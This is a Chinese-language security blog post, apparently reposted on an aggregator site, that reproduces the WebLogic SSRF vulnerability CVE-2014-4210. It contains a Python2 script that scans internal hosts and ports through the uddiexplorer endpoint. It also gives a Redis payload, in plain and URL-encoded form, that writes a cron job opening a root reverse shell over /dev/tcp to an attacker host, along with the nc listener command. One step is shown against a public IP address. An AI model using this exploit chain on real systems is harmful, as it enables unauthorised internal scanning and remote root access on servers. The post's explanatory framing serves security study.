SSRF,以weblogic為案例

給個關注?寶兒!
給個關注?寶兒!
給個關注?寶兒!

在這里插入圖片描述復習一下ssrf的原理及危害,并且以weblog的ssrf漏洞為案例

漏洞原理

SSRF(Server-side Request Forge, 服務端請求偽造)

通常用于控制web進而探測內網服務以及攻擊內網脆弱應用

即當作跳板機,可作為ssrfsocks代理
SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。SSRF 形成的原因大都是由于服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。比如從指定URL地址獲取網頁文本內容,加載指定地址的圖片,下載等等。
通俗的說,比如這樣一個url:,如果我們將換為與該服務器相連的內網服務器地址會產生什么效果呢?比如127.0.0.1、10.0.0.1、192.168.1.1等等,如果存在該內網地址就會返回1xx 2xx 之類的狀態碼,不存在就會返回其他的狀態碼,所以:如果應用程序對用戶提供的URL和遠端服務器返回的信息沒有進行合適的驗證和過濾,就可能存在這種服務端請求偽造的缺陷。

漏洞產生
由于服務端提供了從其他服務器應用獲取數據的功能且沒有對地址和協議等做過濾和限制。

漏洞信息:

CVE-2014-4210,

版本:10.0.2,10.3.6,12.1.1,12.1.2.0.0

復現過程

訪問 http://218.244.139.43:7001/uddiexplorer/ 無需登錄即可查看uddiexplorer應用。
在這里插入圖片描述
在這里插入圖片描述
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

我們在brupsuite下測試該漏洞。訪問一個可以訪問的IP:PORT,如http://127.0.0.1:7001
抓包:觀察發現operator參數,傳遞了一個URL,服務器回去訪問這個url,可以思考它是否可以去訪問內網主機,是否有SSRF漏洞
在這里插入圖片描述

測試在訪問不用的URL和端口時,返回的結果是否相同:

訪問url和7001端口:返回一個404 狀態碼
在這里插入圖片描述

訪問一個不存在的端口:
在這里插入圖片描述

根據報錯的不同,可以進行內網探測,首先需要知道他的內網網段、

docker內網網段為172.18.0.xxx

簡單腳本(Python2)(以知道網段為前提)

import thread
import time
import re
import requestsdef ite_ip(ip):for i in range(1, 256):final_ip = '{ip}.{i}'.format(ip=ip, i=i)print final_ipthread.start_new_thread(scan, (final_ip,))time.sleep(3)def scan(final_ip):ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')for port in ports:vul_url = 'http://your ip:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)try:#print vul_urlr = requests.get(vul_url, timeout=15, verify=False)result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)result2 = re.findall('but could not connect', r.content)result3 = re.findall('No route to host', r.content)if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:print '[!]'+final_ip + ':' + portexcept Exception, e:passif __name__ == '__main__':ip = "172.18.0"if ip:print ipite_ip(ip)else:print "no ip"

在這里插入圖片描述
反彈shell:
利用這個6379端口,注入http頭,將反彈shell腳本寫入:

textset 1\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.3.222/7778 0>&1\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
saveaaa

使用url編碼:

text%0A%0Aset%201%20%E2%80%9C%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.222%2F7778%200%3E%261%5Cn%5Cn%5Cn%5Cn%E2%80%9D%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave%20%0A%0Aaaa

腳本含義:

. 發送三條redis命令,將彈shell腳本寫入/etc/crontab: 分別為:
1. *號,意思是這條命令一直執行,也就是一直執行反彈shell的命令
2. 置redis備份文件的工作目錄
3. 寫入哪個文件,如果不存在,就創建

  • crontap 就是linux定時任務的位置,即守護進程

  • /etc/crontab 這個是肯定的 *
    /etc/cron.d/*將任意文件寫到該目錄下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用這個目錄,可以做到不覆蓋任何其他文件的情況進行彈shell。

  • /var/spool/cron/root centos系統下root用戶的cron文件

  • /var/spool/cron/crontabs/root debian系統下root用戶的cron文件
    在這里插入圖片描述

開啟端口監聽:

nc -lvvnp 7778

收到數據包,反彈shell成功

看完點贊關注不迷路!!! 后續繼續更新優質安全內容!!!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/532556.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/532556.shtml
英文地址,請注明出處:http://en.pswp.cn/news/532556.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

C++11 右值引用、移動語義、完美轉發、萬能引用

C11 右值引用、移動語義、完美轉發、引用折疊、萬能引用 轉自:http://c.biancheng.net/ C中的左值和右值 右值引用可以從字面意思上理解,指的是以引用傳遞(而非值傳遞)的方式使用 C 右值。關于 C 引用,已經在《C引用…

C++11 std::function, std::bind, std::ref, std::cref

C11 std::function, std::bind, std::ref, std::cref 轉自&#xff1a;http://www.jellythink.com/ std::function 看看這段代碼 先來看看下面這兩行代碼&#xff1a; std::function<void(EventKeyboard::KeyCode, Event*)> onKeyPressed; std::function<void(Ev…

Java安全(一) : java類 | 反射

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.java基礎 Java平臺共分為三個主要版本Java SE&#xff08;Java Platform, Standard Edition&#xff0c;Java平臺標準版&#xff09;、Java EE&#xff0…

LeetCode-287 尋找重復數 二分法

LeetCode-287 尋找重復數 二分法 287. 尋找重復數 給定一個包含 n 1 個整數的數組 nums &#xff0c;其數字都在 1 到 n 之間&#xff08;包括 1 和 n&#xff09;&#xff0c;可知至少存在一個重復的整數。 假設 nums 只有 一個重復的整數 &#xff0c;找出 這個重復的數 。…

對某公司一次弱口令到存儲型xss挖掘

轉自我的奇安信攻防社區文章:https://forum.butian.net/share/885 免責聲明: 滲透過程為授權測試,所有漏洞均以提交相關平臺,博客目的只為分享挖掘思路和知識傳播** 涉及知識: xss注入及xss注入繞過 挖掘過程: 某次針對某目標信息搜集無意發現某工程公司的項目招標平臺 …

C++11新特性選講 語言部分 侯捷

C11新特性選講 語言部分 侯捷 本課程分為兩個部分&#xff1a;語言的部分和標準庫的部分。只談新特性&#xff0c;并且是選講。 本文為語言部分筆記。 語言 Variadic Templatesmove semanticsautoRange-based for loopInitializer listLambdas… 標準庫 type_traitsunodered…

java安全(二):JDBC|sql注入|預編譯

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1 JDBC基礎 JDBC(Java Database Connectivity)是Java提供對數據庫進行連接、操作的標準API。Java自身并不會去實現對數據庫的連接、查詢、更新等操作而是通…

java安全(三)RMI

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.RMI 是什么 RMI(Remote Method Invocation)即Java遠程方法調用&#xff0c;RMI用于構建分布式應用程序&#xff0c;RMI實現了Java程序之間跨JVM的遠程通信…

LeetCode-726 原子的數量 遞歸

LeetCode-726 原子的數量 遞歸 題目鏈接&#xff1a;LeetCode-726 原子的數量 給你一個字符串化學式 formula &#xff0c;返回 每種原子的數量 。 原子總是以一個大寫字母開始&#xff0c;接著跟隨 0 個或任意個小寫字母&#xff0c;表示原子的名字。 如果數量大于 1&#xf…

java安全(四) JNDI

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1.JNDI JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過調用JNDI的API應用程序可以定位資源和其他程序對象。JNDI是Java…

二叉樹的層序遍歷和前中后序遍歷代碼 迭代/遞歸

前中后序遍歷&#xff08;DFS&#xff09; 首先我們要明確前中后序遍歷的順序&#xff1a; 前序&#xff1a;中左右中序&#xff1a;左中右后序&#xff1a;左右中 前中后序遍歷的遞歸代碼和迭代代碼分別有各自的框架&#xff0c;然后根據遍歷順序調整記錄元素的位置即可。 …

java安全(五)java反序列化

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 1. 序列化 在調用RMI時,發現接收發送數據都是反序列化數據. 例如JSON和XML等語言,在網絡上傳遞信息,都會用到一些格式化數據,大多數處理方法中&#xff0c…

git merge和rebase的區別與選擇

git merge和rebase的區別與選擇 轉自&#xff1a;https://github.com/geeeeeeeeek/git-recipes/wiki/5.1-%E4%BB%A3%E7%A0%81%E5%90%88%E5%B9%B6%EF%BC%9AMerge%E3%80%81Rebase-%E7%9A%84%E9%80%89%E6%8B%A9#merge BY 童仲毅&#xff08;geeeeeeeeekgithub&#xff09; 這是一篇…

java安全(六)java反序列化2,ysoserial調試

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; ysoserial 下載地址&#xff1a;https://github.com/angelwhu/ysoserial ysoserial可以讓?戶根據??選擇的利?鏈&#xff0c;?成反序列化利?數據&…

C++面試常見問題一

C面試常見問題一 轉自&#xff1a;https://oldpan.me/archives/c-interview-answer-1 原作者&#xff1a;[oldpan][https://oldpan.me/] 前言 這里收集市面上所有的關于算法和開發崗最容易遇到的關于C方面的問題&#xff0c;問題信息來自互聯網以及牛客網的C面試題目匯總。答題…

java安全(七) 反序列化3 CC利用鏈 TransformedMap版

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 目錄圖解代碼demo涉及的接口與類&#xff1a;TransformedMapTransformerConstantTransformerInvokerTransformerChainedTransformerdome理解總結&#xff1a…

C++編譯時多態和運行時多態

C編譯時多態和運行時多態 作者&#xff1a;melonstreet 出處&#xff1a;https://www.cnblogs.com/QG-whz/p/5132745.html 本文版權歸作者和博客園共有&#xff0c;歡迎轉載&#xff0c;但未經作者同意必須保留此段聲明&#xff0c;且在文章頁面明顯位置給出原文連接&#xff0…

java安全(八)TransformedMap構造POC

給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 給個關注&#xff1f;寶兒&#xff01; 上一篇構造了一個了commons-collections的demo 【傳送門】 package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer; import org…

Pytorch Tutorial 使用torch.autograd進行自動微分

Pytorch Tutorial 使用torch.autograd進行自動微分 本文翻譯自 PyTorch 官網教程。 原文&#xff1a;https://pytorch.org/tutorials/beginner/basics/autogradqs_tutorial.html#optional-reading-tensor-gradients-and-jacobian-products 在訓練神經網絡時&#xff0c;最常使用…

TVM:編譯深度學習模型快速上手教程

TVM&#xff1a;編譯深度學習模型快速上手教程 本文將展示如何使用 Relay python 前端構建一個神經網絡&#xff0c;并使用 TVM 為 Nvidia GPU 生成一個運行時庫。 注意我們需要再構建 TVM 時啟用了 cuda 和 llvm。 TVM支持的硬件后端總覽 在本教程中&#xff0c;我們使用 cu…